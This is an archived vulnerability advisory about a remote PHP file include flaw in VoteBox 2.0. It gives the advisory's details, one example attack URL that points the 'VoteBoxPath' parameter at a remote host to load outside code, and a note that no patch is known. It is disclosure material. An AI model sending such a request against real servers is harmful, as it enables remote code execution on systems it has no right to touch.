VoteBox Votebox.PHP Remote File Include Vulnerability

Bugtraq ID:	12806
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 14 2005 12:00AM
Updated:	Mar 14 2005 12:00AM
Credit:	Discovery of this vulnerability is credited to SmOk3 <[email protected]>.
Vulnerable:	Hensel Hartmann VoteBox 2.0
Not Vulnerable:

VoteBox Votebox.PHP Remote File Include Vulnerability

It is reported that VoteBox is affected by a remote PHP file include vulnerability. This issue is due in part to the application failing to properly sanitize user-supplied input to the 'votebox.php' script.

Remote attackers could potentially exploit this issue to include and execute a remote malicious PHP script.

This issue reportedly affects VoteBox version 2.0, previous versions might also be affected.

VoteBox Votebox.PHP Remote File Include Vulnerability

The following example is available:

www.example.com/votebox.php?VoteBoxPath=http://[CMD]

VoteBox Votebox.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

VoteBox Votebox.PHP Remote File Include Vulnerability

References:

• VoteBox Homepage (Hensel Hartmann)
  
• VoteBox Remote File Include (SmOk3 )